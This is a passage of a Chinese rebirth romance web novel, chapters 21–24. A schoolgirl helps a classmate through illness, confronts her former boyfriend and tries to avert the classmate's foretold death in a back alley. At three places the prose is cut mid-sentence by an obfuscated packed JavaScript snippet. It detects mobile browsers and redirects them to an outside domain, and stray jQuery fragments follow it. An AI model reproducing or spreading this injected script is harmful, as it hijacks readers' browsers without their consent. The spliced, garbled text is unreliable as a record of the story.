想着想着,肚子痛起来,仿佛那场小产手术的威力还在,一会像是一只手在无情地扯她的肠子,一会又像是刀子割肉的钝痛,一阵接一阵。 她捂着肚子,向教学楼的卫生间走去。 21. 过去 穆逢抱着篮球从二楼下来,一眼就看见了秦遇。 她一副撞见鬼的表情,脸色苍白,双唇没有血色,扶着墙,跌跌撞撞往卫生间的方向走。 他从没见过她这个样子,不由得心头一颤,一种陌生的锐利疼痛漫上来,缠绕他手臂、四肢,侵占他的头脑。 他把球一丢,上前扶住她,用从未有过的低柔声音问,“发生了什么?你不舒服?” 她的手凉得可怕,掌心一片湿冷。 她抬眼看向他,用虚弱的声音说,“我,我没事,应该是痛经,拜托,你去校门口帮我买卫生棉,还有芬必得。” 她的脸色又白了几分,豆大的汗珠从额头滚落,砸在他手上。 “好,我马上去,可是,不对,你怎么办?” 穆逢说话有些语无伦次,她握紧他的手,咬着牙说,“没事,我还能撑,你快点去,我要吃药。” “好,好,我马上去。” 穆逢抬脚正要离开,又想起了什么,转头把外套脱下来,放在几步之外的楼梯上。 “你来坐这里。” 他扶着秦遇走过去,指指自己的衣服,秦遇虚弱地点点头,他深深看了她一眼,扭头冲出了教学楼。 秦遇按着楼梯的扶手,指尖因为用力而发白。 她不想弄脏穆逢的衣服,尤其是用经血弄脏,实在太尴尬了。 尽管一阵阵绞痛袭来,她还是半靠在楼梯扶手上,坚持着。 这边,穆逢提着一大袋卫生棉和芬必得,火急火燎地走进校门。 这是他第一次买卫生棉,面对店员要什么牌子、什么型号、棉柔还是轻薄的问题,他一概不知,索性让店员把手边所有牌子所有型号都来一份。 店员把一兜塑料袋放到柜台上,穆逢丢下两张百元钞票,提起塑料袋就往外冲,完全没听见店员在后面喊“哎,等一等,还没套黑塑料袋!还没找零!” 穆逢提着卫生棉冲进校门时,大黑和球队里的几个男生正在门口等他,他们本来说好,不参加下半场运动会,到篮球场打练习赛,没想到左等右等,穆逢始终没来,给他打电话也不接。 等到穆逢像一阵风一样跑过他们身边,大黑和旁边的人面面相觑。 “我刚才,没看错吧?是老大吧?” 另一个男生盯着穆逢的方向,喃喃道“你们看见他手里拿的东西了吗?”男生的声音犹豫起来,“好像,是那种女生用的东西。” 一群人向教学楼走去,走到一楼入口的时候,不约而同地放慢脚步,像做贼一样偷偷前进。 校外的操场上,远远传来口哨声、呐喊声,下半场比赛开始了,这个时间除了来上厕所的,基本没有其他人,所有,他们很快就锁定了穆逢的位置。 在一楼左侧走廊的尽头,女洗手间外面。 众人怀着好奇的心情,躲在拐角墙壁后面,探头往那边看。 公平起见,长得最矮的蹲在最下面,稍高一点的蹲得高点,依次往上排,最高的大黑比较幸运,不用蹲,保持正常站立姿势就行。 五颗脑袋,排成一列,看向穆逢所在的方向。 穆逢对此当然一无所知,此刻,他眼里只有秦遇。 穆逢拧开保温杯,把药丸取出来,他注意到,秦遇的手从他掌心拿走药片时,有些颤抖。 原来,女生来月经的时候,会疼成这个样子。 他不由分说地拿起保温杯,送到她唇边,喂她喝。 秦遇疼得浑身脱力,顾不得计较这些,就着他的手喝了一口水,仰头咽下药丸。 然后,她拿起一包卫生棉走进洗手间。 几分钟之后,她从洗手间出来,大概是药效开始起作用,她的脸色虽然还是苍白,汗意却退了下去,肚子的绞痛也慢慢减轻。 她一出来,穆逢就迎上来,握住了她的手。 “不要强撑,来这里坐。” 他把秦遇带到台阶旁,让她在铺好的外套上坐下。 秦遇顺从地坐了下去。 至少,现在不会把他的衣服弄脏。 冷汗浸湿了内衣,她开始觉得冷,抱紧了双臂,穆逢把身上的羔羊绒马甲脱下,披在她背上,还觉得不够,抓着她的手臂,把马甲穿上,又低头拉上拉链,一直拉到她脖颈下方。 “暖和点了吗?” 秦遇软软地“嗯”了一声,身体不自觉地向墙壁靠,穆逢的手一扯,让她靠到自己肩上。 “特殊时期,借你靠一下。” 温热的人体,比冷硬的墙壁舒服得多,秦遇不再拒绝,任自己靠在他身上。 教学楼的水泥地板被摩擦得光亮,隐约映出两人的身影,墙上的侧窗外,晃过被风吹乱的树枝,往日喧闹的教学楼,此刻安静得像是只属于他们两个人。 操场上的欢呼声,模糊得像是来自另一个世界。 穆逢侧过头问她,“要不要听歌?” 他的下巴擦过她额前的碎发,秦遇下意识抬眼,对上他透亮的眸子,点了点头。 他从兜里掏出随身听,把耳机分别塞进两个人耳中,按下播放键。 “…… 从前共你讲不要分别 不要归去明明还流过一点眼泪 又再跟你相遇跟你相对 为何完全已经能面对 ……” 是一首粤语老歌,《会过去的》,从前秦遇只觉得它好听,此时此刻,却觉得它分外贴合自己的心境。 再次见到吕程,她依然会感到难过,不是因为对他旧情未了,相反,如今见到这个人,她心里只有一种感情,就是厌恶。 她的难过,是为那时候的自己,心疼那个蒙在鼓里、一心一意地信任吕程,不断悲伤、不停自责的自己。 当听到那句“最痛都会过去,都会散去,都会退去,我们如何仍然能活下去”时,她终于忍受不住,抓着穆逢的衣服呜呜得哭起来。 一边哭,一边哽咽着说,“别问为什么,我只是肚子疼,没别的。” 穆逢的声音压得很低,“好,我不问。” “哎,亲了亲了,再往下点,我看不见了。” “你瞎啊,我都听见哭声了,亲什么亲?” “都别吵吵,万一被听见……” 大黑的话还没说完,夹在中间的那个人腿一麻,身体失去平衡,往地上倒去,这一下,五个人稀里哗啦摔成一片。 秦遇抬起头,慌忙擦掉眼泪,看过去。 “谁来了?发生什么了?” 穆逢看出是大黑几个人,冷哼一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931296|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“没事,大黑他们几个来找我打球。” 秦遇立刻就要伸手脱马甲,“那你去吧……” 穆逢按住她的手,“你穿着,我今天不想踢球。” 说话间,大黑几个人已经溜了出去。 秦遇站起身,“我好多了,我想回家,这里太冷了。” “好,我送你。” 穆逢弯腰去地上捡外套,秦遇注意到,他上臂的衣服上有一小片水渍,在空气中迅速凝结,有点反光。 她立刻凑近,掏出手帕纸去擦那里,穆逢条件反射般扭头,他的唇角恰好擦过她的脸颊。 两个人都愣住。 秦遇装作若无其事的样子,继续使劲擦那块水渍,“对不起,我弄脏了你的衣服。” 穆逢“唔”了一声,“没事,丢洗衣机洗洗就好。” 跟在秦遇身后向外走的时候,在她看不见的地方,穆逢抬起手,摸了摸嘴角。 唇角处,好像还残留着她脸颊上的温度,还有那轻柔的、棉花糖一样的触感。 躺在温暖的被窝里,抱着暖洋洋的汤婆子,小腹的冰冷渐渐褪去,温热的洋流流淌向四肢百骸。 枕边的随身听里传来流行音乐,秦遇舒服地眯起眼睛。 妈妈敲了敲门,她没有听见,妈妈就端着茶杯进来,空气里立刻飘淡淡的姜味。 “小遇,肚子还疼吗?妈妈给你煮了红糖姜茶,快起来喝。” 妈妈把冒着热气的茶杯放到床头柜,扶着秦遇起来,拿个一个靠枕塞到她背后,让她靠得更舒服一点。 “来,快喝吧。” 氤氲的热气后,是妈妈写满关切的脸,妈妈的脸已经不再年轻,肤色微黄,脸颊上有一些褐色斑点,可她还是那样温柔。 她的手也不复光滑,摸起来有细纹。 秦遇小口啜饮着姜茶,靠到妈妈身上。 妈妈拨开她额前的刘海,嗔怪道“多大的人了,还撒娇。” “不管,就算长到八十岁,我也还是妈妈的孩子,对不对?” “是是是,在妈妈身边,再大也是孩子。” “对了,你怎么提了那么一大包卫生棉回来?” “我,”秦遇眨巴着眼睛,想着说辞,“学校门口的店在搞促销,买二送一,我就多买了点,囤着用。” “买这么多,零花钱都用光了吧?我再给你拿点。” 妈妈说着,起身去客厅拿钱包,她才想起,这些卫生棉应该花了穆逢不少钱,她还没还他。 想到这里,她立刻拿出小灵通,打算问问穆逢,一打开才发现,穆逢半小时前发来了一条短信,但她习惯调成静音,压根没听见。 是一条简短的信息,“身体好点没?” 她抬指输入,“好多了,谢谢你。对了,今天你帮我买的东西,一共多少钱?明天还你。” 很快,小灵通的屏幕亮起,发出淡绿色的光。 穆逢的回复迅速又简短,“忘了。” 秦遇回道“说个大概的数吧,我不想欠你钱。” 他可以不差钱,但她不能不还钱。 这次,穆逢隔了好几分钟才回复,“不急,让我想想。” “早点睡。” 这一想,一直到她睡着,也没了下文。 22. 很好 秦遇没想到,她会这么快再遇见吕程。 面前清瘦白皙的少年吕程,从校服口袋里掏出巴掌大的记事本,翻到新的一页,按下自动笔,用公事公办的语气问她,“姓名?班级?还有,电话号码?” “你问这些干什么?” 吕程用笔尖指了指自己胸前的名牌。 “我是高二(三)班的班长,也是长跑社的副社长,体育老师有事,让我代管今早的跑操,这位同学,你迟到了,要做记录。” 上次运动会上,各项成绩比去年退步不少,校长一着急,直接推行新“法”:每天早读课的前二十分钟,改为晨跑,初中部和高中部全部参加,高三生也不例外。 秦遇犹豫了几秒,装作有些畏惧的样子,问道,“会给班里扣分吗?” 吕程露出一个宽慰的笑容,“应该不至于,不过,下节晨跑,体育老师可能会让你多跑一圈。” “哦,那还行。” 秦遇耸耸肩,报出自己的信息,“秦遇,高一(六)班,电话是xxxxxxxx。” 吕程记下她的信息,再次提醒她。 “同学,明天记得不要迟到。” 秦遇说了声好,转身跑向教室,在吕程看不见的地方,她的唇角扬起一抹讥讽笑意。 上一世,吕程和她就是这样结缘的。 只不过是在大学。 那时,她刚升入大一,还是个彻头彻尾的老实人,对别人的话深信不疑。第一学期有晨跑,她和室友林田田晚起迟到,身为大二学长的吕程,就是这样套到了她的电话号码。 事后她才知道,学校对晨跑的管理并不十分严格,也从来没有那个同学因为迟到,被学生会的干部记下过姓名、班级、甚至电话号码。 吕程假借迟到之名,要到了她的电话,随后就找借口联系她,最开始是一起去上晚自习、图书馆帮她占位置,后来逐步发展到散步、约饭,感情就这样慢慢培养起来。 那时,她并不介意吕程最开始用的小手段。 在互生好感,并确立了恋爱关系后,回看这件小事,反而觉得增加了恋爱情趣,是一份愉快的回忆。 然而,重来一次,吕程故技重施,只会引起她的冷笑。 她早就打定主意,今生和他再无瓜葛,当然不会像前世,老老实实交出自己的号码,相反,她故意对调了其中两个数字,班级也故意说错。 目的就是让他离远点。 三天后,吕程还是找来了。 那是晚自习的课间,下课铃声刚响,就有同学喊她,“秦遇,有人找。” 她走出教室,看见吕程站在走廊玻璃窗旁,玻璃上映出他的身影,还有走廊顶的灯。 她慢吞吞地走过去。 吕程转过来脸来,盯着她,表情几不可察的抽动了一下,然后又控制住,给她一个温和的笑。 “电话号码是假的,班级也是假的,秦遇同学,能不能告诉我,为什么?” 为了不让自己显得像质问,他刻意放柔了声音。 “对了,不要告诉我,你把自己的电话号码和班级都记错,我不相信世界上有这样的人。” 秦遇克制着自己翻白眼的冲动,正想对他说,“找我有事吗?无事请回!”,有人比她更快出声。 “这还不明白?她不想理你!” 响亮的声音,从她身后传来。 是穆逢。 他一把拉住秦遇,把她扯到自己身后,他高大的身影、宽阔的肩膀,把她整个挡在身后。 她看不见吕程,只能看见穆逢挺直的脊背和蓄着红色短发的后脑勺。 “别问了,也别来烦她,赶紧从哪来回哪去!” 穆逢的语气又凶又拽,双手插兜,手肘大剌剌张开,一副嚣张凶狠的模样。 吕程向来讨厌这种散漫张扬的男生,尤其是对面的男生比他高,凌厉的面孔高高昂起,视线下斜看着他,让他有被俯视的不爽。 于是,他当即拿出学长和学生干部的威严,也把头一昂,往旁边走了一步,看向秦遇。 “秦遇同学,你年龄还小,离这样的不良少年远一点,不要被他带坏。” 他说着,推一推眼镜,一板一眼地盖棺定论“你们根本就是不同世界的人。” “你他妈再说……”穆逢眉头一皱,当即就要挥动拳头,可是一只手忽然拉了他一下。 这只手又小又软,力气却出乎意料的大,他愕然转头,只见秦遇脸色铁青,怒气冲冲地盯着吕程,眼中几乎喷出火来。 “你别管,让我来。” 下一秒,她一个箭步冲到他身前,直面吕程,质问他。 “你在对我说教?” 她来势汹汹,吕程一时竟有些瑟缩,正支吾着,秦遇再一次用力抓着穆逢的手,把他拉到自己身边。 “他是我的好朋友,他很善良,会救助被车撞倒的老人,不怕被碰瓷!” “他懂得尊重女生!” “他讲义气、朋友多!” “他篮球打得好,足球踢得好,就连听歌的品味也很好!” “除了成绩,他哪哪都比你强太多!” 秦遇连珠炮一般的攻击,引来了不少同学的围观。 换了从前,穆逢会飞去眼刀,怒喝一声,把同学吓退,可是此刻,他的注意力全在秦遇刚刚说的话上。 她说他善良。 她说他球打得好。 她说他品味好。 …… 而且,她还抓着他的手。 虽然,这个动作不是很温柔,她抓得着急又用力,可他还是很喜欢被她这样抓着,她有一双小小的手,而这双手,此刻正紧紧地抓着他的手。 穆逢视线下移,凝视着她的手,嘴角的弧度越扬越高。 吕程从没被人这么数落过,丢脸的感觉盖过了一切,他嘴唇抖了抖,勉强张开嘴,“学生就该有学生的样子……” 秦遇仍在气头上,不管不顾地打断他。 “你闭嘴!我交朋友不看成绩,我自己的成绩已经够好了!” “我交朋友,不需要别人干涉,更不需要你这个陌生人指手画脚!” “以后不要来找我,更不要对我的朋友评头论足!” “我们走。” 说完最后一句,她拉起穆逢就往前走。 经过吕程身边时,穆逢对尴尬得满脸通红的吕程,投去一个得意的眼神。 秦遇则是看也不看吕程,只是拉着穆逢,不顾一切地往前走。 走过他们班,然后是三班、一班,似乎有很多人来围观,可她走得太快,无暇去看,只觉得周围的人都成了模糊而动作迟缓的背景。 在长长的走廊上,她先是越走越快,几乎要小跑起来,接着,随着离吕程越来越远,胸口那团郁积的怒火渐渐变小,步调也慢下来,等走到走廊尽头的半圆形空地上时,她已经差不多恢复了平静。 她听见心脏在胸腔里砰砰跳动,感受到嘴巴激烈地喘着气。 然后,她意识到,自己还紧紧握着穆逢的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945422|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手心里一片粘腻,也不知是她的汗,还是他的。 她立刻抽回手,穆逢的手反射性得想要收紧,收到一半又果断张开。 她伏到弓形玻璃窗前的金属杆栏上,眼前的蓝色玻璃窗上映出蓝丝绒一样的星空,还有站在她身后的穆逢。 空中闪烁的繁星,和穆逢的银色耳钉交相辉映。 穆逢向前一步,走到她身边,也把手肘搭在栏杆上。 像她一样,仰头看玻璃窗上的人影。 “没想到,我在你眼里,这么好。” 他的声音不大,却字字清晰,落入她耳中。 激动的情绪褪去,理智重回高地,秦遇想起刚刚说得那些话,不好意思起来。 都怪吕程,没事来找她做什么?! 她看见这个人就烦,他应该彻底从她眼前消失! 就在这时,上课铃声响起,拯救了她,秦遇丢下一句“快回教室”,转头跑回了教室。 穆逢看着她略带慌张的背影,嘴角浮现笑意,双手插到裤兜里,不紧不慢地向教室走去。 晚上十点一刻,穆逢客厅里的电话响起,他从沙发上站起,踩着厚实的手织羊毛毯,走向座机。 滴声过后,电话那端传来中年男人和气的声音。 “喂,小逢。” “舅舅,是我。” “我打听过了,听说你们班主任对你不好,如果你不开心,我们可以转到另一所学校,你觉得怎么样?” “不,不用了,舅舅,对我来说,在哪里都一样。” 那边“嗯”了一声,换上更为轻松愉快的声调。 “没关系,玩腻了我们就换个地方,想回来就随时回来。” “对了,今年过年想去哪里?巴黎、伦敦、罗马,还是东京?” 穆逢发出一声嗤笑,冷冷地说,“去看他和那对母女相亲相爱吗?舅舅,你说的这些城市,老头子都有房产,我不想去任何可能遇见他的地方!” 穆逢的话不太客气,舅舅却丝毫不在意,而是像安慰闹脾气的小孩一样劝他。 “小逢,有些事,过去就过去了,该放下了,让自己往前看。” 穆逢的声音变得更冷硬,“过不去,发生那种事,怎么可能过得去?” “难道你忘了,是谁害你变成残疾,再也站不……”穆逢的语气逐渐激烈,却在说到一半时猛然止住,停顿数秒后,他轻轻说了一句“sorry,uncle。” 电话那端传来一声长长的叹息, “小逢,我只希望,在没有确凿证据的情况下,你不要被仇恨蒙蔽了心灵。” “我明白,再见,舅舅。” 放下电话,穆逢踩着地毯走到窗前,小城的夜晚很宁静,大部分城市建筑都隐入黑暗,只有星星点点的亮光,点缀其间。 街巷上偶尔驶过一辆汽车,带来一小片亮光,随后又被暗夜吞噬。 影影幢幢的建筑,像蛰伏的暗兽,像沉重的旧事,压在他心头,压得他喘不过气来。 穆逢走到电视机前,从半开的烟盒里抽出一支烟,叼在嘴边。 “嗤”的一声,打火机的蓝色火苗窜起,他侧头靠近,在烟头就要触到火苗时,忽然停住,手指放松,火苗熄灭,打火机被丢到桌上。 他吐出嘴里的烟,连同桌上剩下的半盒,一起抛到了垃圾桶里。 接着,他从兜里掏出一支棒棒糖,撕开包装纸,塞进嘴里。 清甜的味道充盈在口腔,甘美的欣慰感犹如泉涌,在他体内蔓延开。 23. 试探 “小遇小遇,听说昨天,你在所有人面前,大声斥责了一个高二的男生,还当众说穆逢是你的好朋友,有没有这回事?” 第二天,一下早自习,姚摇就迫不及待地凑过来,一脸八卦地问她。 秦遇想了想,“好像,是这么回事。” 姚摇激动地又是拍手,又是摇头,“哎,气死了!我怎么没在现场,别人都看见了,就我没看见。” “其实也没什么。” 秦遇取出下节课要用的练习册,翻到新的一页。 “快给我说说,那个高二的男生,到底是怎么回事?他为什么要来找你?不对,他是不是得罪过你,要不你怎么发那么大脾气?” 秦遇诧异地指指自己,“我?发很大脾气?” 姚摇露出一副“当然了”的表情,“全班人都看见了,你可是把他劈头盖脸骂了一顿,毫不留情!” 秦遇耸耸肩,“随便吧,我一看见那个人就烦,简单来说,就是没有眼缘。” 姚摇似懂非懂地思考着,就在这时,上课铃声响起,打断了两人的对话。 大课间,姚摇把她拉到校园里的一颗大树后面,避开人群,继续谈论这件事。 “小遇,我是你最好的朋友吧?” 秦遇点头,“当然。” “那你有事不能瞒着我。” 秦遇笑着说“当然。” “那我可就问了,你和穆逢,到底是什么关系?” “全班人都听见了,不,就连二班和三班的人也都听见了,就是好朋友的关系,本人公开认证。” 姚摇盯着她的眼睛,一眨不眨地看了足有半分钟,直到她眼睛发酸,忍不住揉了揉。 “你不喜欢他?” 秦遇轻咳一声,正色道“高中不能早恋。” 姚摇立刻抓住她话里的漏洞,“你说的是不能,没说不想。” 秦遇无奈地揉了揉眉心,“不想,也不能,行了吗,大小姐?” 姚摇仍一脸狐疑,“听说你俩晚上经常一起走。” “恰好同路,只一起走半程。” “再说了,我还经常和徐伟民一起走呢,怎么不见你怀疑我俩?” 姚摇“噗嗤”一声笑出来,“徐伟民是女性之友,女生朋友太多了,无论他和谁走在一起,大家都不会想到恋爱上去。” …… “……雅典民主政治的特点是人民主权和轮番而治,促进了雅典政治、经济和文化的高度……” 历史课上,蓄着山羊胡子、穿九十年代垫肩西装的历史老师正在讲课,他的声音又平又快,双目盯着正前方的空气,就像一台没有感情的复读机。 秦遇听着听着就走了神,笔尖在格子纸上无意识地乱画,竟画出一条形似细长甬道的图案。 她盯着这图案细看。 本城中有不少这样的背街小巷,少有行人,一些恶行常在这里进行,比如她上次,就是在这样的小巷子里被霸凌…… 想着想着,背后忽然蹿出一阵冷汗。 她怎么忘了,前世的穆逢就是死在这样一条小巷里?! 那条小巷叫什么来着? 她努力回忆着上一世看过的本地报纸,终于依稀记起两个字,一个是“庆”,一个是“长”。 名字里含有“庆”字的路,和以“长”开头的路,夹在这两条小路中间的,一条没有名字的背街小巷,就是他葬身的地点。 死因呢? 好像是被高空抛物砸中,正中脑袋,据说地上散落了一地碎瓦片和泥土,还有被车轮碾碎的花和叶子,警方据此推测是花盆。 奇怪的是,事发现场的建筑,是一栋废弃的三层居民楼,年久失修,并无人住。 警方只能把缉凶目标放在附近的流浪汉和不安分的社会青年身上,却始终没找到证据。 报上没有登现场照,可是,只要一想到穆逢倒在血泊里的样子,血色一寸寸流失,她的心就像被一只手狠狠攥住,喘不过气来。 她不能让这样的事发生! 他们是好朋友,不是吗? 如果说,上一世和穆逢毫无交集的她,在听到他的死讯时,只有淡淡的惋惜和可怜,如今,在成为日渐熟悉的朋友,在一同经历了那么多事以后,她心头渐渐升起一个念头,且这念头坚定无比:绝对,绝对不能让他死。 可是,该如何劝说他? 她总不能直接冲到他面前,告诉他,明年的除夕夜,你会死在XX地点,所以,那一天你一定不要出现在那里! 穆逢一定会以为她疯了! 这不怪他,换了是她,她也不会相信。 秦遇眉头紧锁,苦苦思索着对策,总而言之,应该先确定事发地点,然后,再想办法劝阻他。 最好是让他离开这个城市,最不济,也要想办法让他明年除夕夜,避开那里。 重生以来,很多事情都发生了改变。 比如,她已经成功地阻止了爸爸的出轨,再比如,她已经提前为自己和吕程的“孽缘”画下了休止符,更不用说那些细微之处的变动。 她已经看清楚,这一世的剧本,不必和上一世一模一样。 想明白了,说干就干。 一下课,她就拍了拍前座朱志的背,“朱志,我记得你有一本本城的地图册,借我看看吧。” 这一天,接下来的课她都没听,而是一页一页地翻看地图册,查找那两条路。 终于,在下午倒数第二节课的时候,她找到了那两条路。 余庆路和长盛路,在本城最西边,几乎靠近城郊,两条路中间有一条不起眼的小巷,没有名字,在地图上只有一条短短的细线。 她拿出塑料尺量了量,换算了一下,巷子的实际长度不会超过300米。 说起来,活了两世,她从没去过这个地方。 她盯着地图继续看,忽然发现,这个地方再往北一点,就到了穆逢上次带她去看日落的河边。 她沉思数秒,拿起纸和笔,比着地图画了下来。 下了晚自习,她又在篮球场碰见了穆逢。 不,确切地说,是穆逢照例在篮球场等她,他依然是那个姿势,双手插在兜里,站在篮球架前,看向教学楼,看向她走来的方向。 看见他,秦遇加快了脚步。 走到他身边,穆逢向她伸出手,手心朝上。 秦遇了然,掏出口袋里的棒棒糖放到他手心,不忘叮嘱“当心,吃太多糖,牙会坏掉。” 穆逢淡淡地“嗯”了一声。 推车子的时候,她发现车胎没气了,到门卫室借打气筒,却被告知,打气筒坏了。 没办法,只能推到校外去打气。 她正想推车子,穆逢的手按住车把,“太冷了,我送你回去。” 秦遇越过他的肩膀,看向车棚外,那颗大榕树下是他常停摩托车的地方,今天却空空的。 “你不是没骑摩托吗?” “停在校外了,一起走过去。” “我明天上学……” “明天七点十五,我在你家胡同口等你,走了。” “可是……” 穆逢拉起她往车棚外走,“别可是了,已经这么晚了,早点回家休息。” 隔着手套,她能感觉到他手的温度,丝丝缕缕传递过来。 她想抽回手,穆逢却攥得更紧。 “你松开手。” “为什么?” “我不想被人看见,说三道四。” “身正不怕影子斜,好朋友之间牵手,不是很正常吗?” 穆逢偏过头问她,银耳钉随着他头的转动,闪烁着寒光。 “不行,你快松开。” 见她急得皱起眉,穆逢倏得张开手,“这样总行了吧?” 秦遇“嗯”了一声,她觉得脑子里有点乱,不行,她必须要专注,现在要解决的,是为穆逢改写命运的大事,她不能被其他事分心。 “穆逢,你不是这里的人,对吧?” 穆逢英挺的眉毛微微挑起,“嗯,怎么突然问起这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959919|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “也没什么,就是突然想到,你是转学来的,你不属于这里,总要离开,对吧?” 穆逢低低“嗯”了一声。 “那,你打算什么时候离开?” 穆逢停下脚步,转身,弯腰,双目直视着她, “为什么问这个?” “没什么,就是突然想到,随便问问。” 秦遇竭力克制着,坦然和他对视,不让自己的目光闪烁。 穆逢“哦”了一声,继续问,“你是想让我离开,还是不想让我离开?” 他弯下腰,视线和她齐平,目光灼灼地看着她,被这样的眼睛注视着,秦遇总觉得自己的心思好像已经被他看穿。 她干巴巴地笑了两声,“这有什么想不想的,你总该回到属于你的地方。” 穆逢冷哼一声,直起身子往前走。 秦遇看出他的不快,故意装作不懂,继续说,“你上次带我去看的日落,是长这么大,我看过最美的日落。” 穆逢“嗯”了一声,表情缓和不少,“你要是喜欢,改天再带你去,不过,你要多穿点,河边风大。” 秦遇一边点头,一边努力把话题往计划中带。 “你上次载我去河边,走得是哪条路来着?是不是叫余庆路?还是叫长什么的路?总之,是从城西走得,对吧?” 她一边说,一边观察着他的反应,想看看他对这两条路有没有印象。 穆逢的表情没什么变化,脚步不停,回得干脆直接,“不记得了,你问这些做什么?” 秦遇放慢语速,给自己时间找借口,“我呢,是想着,有时间了也带秦征去看看,秦征就是我弟弟,他,他也挺喜欢看日落的。” 穆逢点点头,没说话。 穆逢的摩托车停在红茶馆门口,临近圣诞,那里竖起一棵比门框还高的圣诞树,摩托车就停在树下,车上挂着一大一小两个头盔,深蓝色的是穆逢的,粉色的是她戴过的。 秦遇摘下头盔,熟练地戴好,驾轻就熟地跳上摩托后座,身前传来穆逢的笑声,她抬起头盔的玻璃罩,“你笑什么?” “你第一次坐上来的时候,小心得像要骑上一头大象,现在不怕了?” “那当然,熟能生巧。” 她答得自然,穆逢唇角笑意加深。 他喜欢她自如地戴头盔,坐上后座的样子,这颗粉色头盔,本就专为她而买,她也是唯一一个坐过他摩托后座的人。 摩托车一路呼啸,穿过浓黑夜雾,停在她家的胡同口。 秦遇跳下摩托,摘下头盔,认真地放回车身侧面的挂兜里。 穆逢熄了火,把前头的灯光调小,照向胡同里。 “回去吧。” 秦遇点点头,踩着灯光往里走,走了两步,又折回来。 “穆逢,你明年过年,会去哪里?” 穆逢好笑地看着她,“今年的年关还没过,你就想到明年去了?” 秦遇也有点后悔,自己问得太过突兀,只好支吾道,“我是想问问,你明年,不,是今年和明年,都会在这里过年吗?” 她的眼睛有些闪烁,神色犹豫又不安,落在穆逢眼中,只以为她是不好意思。 他目光沉沉地看着她,语气坚定又温柔,“今年、明年、后年,我都可以在这里过。” “不行!” 秦遇忽然拔高声音,把自己吓了一跳,穆逢皱眉看着她,她慌张地解释道,“我的意思是,你该回去陪你爸妈跨年。” 穆逢的神色冷下来,他别开眼,“再说吧。” 秦遇丢下一句“我走了”,抱起书包往胡同里冲,身后,一张纸片从她外套口袋里滑落出来,飘飘荡荡落在地上。 “喂,等一下。” 穆逢叫她,她已经跑到了胡同深处,没听见。 穆逢捡起那片纸,纸上用拙劣的笔迹,画着三条纵横交错的线条,两条又粗又长的线条上,分别用箭头往外引,标注着“余庆路”和“长盛路”,两条粗线中间的细线上,画着一个大大的叹号。 24. 攻势 第二天一早,穆逢如约在胡同口等她,载她到学校。 秦遇怕被同学看见,在距离学校还有一百米的地方,就坚持跳下车,穆逢干脆把摩托车停在红茶馆门口,那棵圣诞树旁边,跟她一起走着进学校。 秦遇越过他的肩膀,看向那棵圣诞树。 “你停在这里,老板没意见?” 穆逢拨了拨头顶的短发,戴上一顶红棕色鸭舌帽,漫不经心地说,“唔,老板好说话。” 秦遇意外,“你认识这家店老板。” 穆逢“嗯”了一声,“算是吧。” 两人有一搭没一搭地说着话,走进学校,向教学楼走去。走到二楼拐角处,秦遇说声再见,正要加快脚步走向教室,被穆逢叫住。 她疑惑地看向他。 他们一向在这里分开,她习惯走前门,穆逢因为座位在最后一排,总是从后门进去。 穆逢把手放进兜里,走近她。 “你丢了一样东西。” 他把手从兜里拿出来,在她眼底下张开,手里是一张对折起来的纸片,边缘是被撕下的痕迹。 纸张舒展开,露出交错的线条,上面用箭头引出,标注着“余庆路”和“长盛路”。 秦遇的眼神闪烁了一下,立刻敛去情绪,抓起那张纸片,攥在手里。 抬头,笑着看他,“我说怎么找不着了……” 穆逢注视着她的表情,她在竭力做出一副无事发生的样子,笑容比往常都要明显,露出尖尖的虎牙和一侧的深酒窝,眼神明亮。 可越是这样的笑容,越让他明白,这张纸片,没那么简单。 不过,她不想说,他也愿意装傻,挑了挑眉,说“没想到,你对地理感兴趣。” 秦遇立刻接过橄榄枝,肯定地说“对啊,我兴趣广泛。” “就是画得有点丑。” 穆逢扔下这句评价,大摇大摆地走向教室后门。 “你……” 秦遇气得咬住牙,狠狠瞪着他的背影,一扭头跑进教室。 等到气消了,她又发起愁来。 昨天一番试探,可以说毫无成效,尤其是她最后提到父母,他几乎立刻变脸,十足抗拒模样。 她据此推断出,穆逢的父母感情不好。 难怪他那么叛逆,一副难服难驯的模样。 看来,以后不能打亲情牌来劝他。 思来想去,始终没有好办法,只能找合适的机会,慢慢劝他。 实在不行,明年和他一起跨年,叫上大黑他们,再叫上姚摇,一起守夜到天明! 这天下午,宋有才把秦遇和姚摇一起叫出去,通知二人,她们被选入本校的小海螺文学社,从本周开始,每周六下午要来学校,为校刊杂志《小海螺》的内容产出尽一份力。 这是跟上一世一样的事,她做编辑,姚摇做美编,秦遇欣然接受。 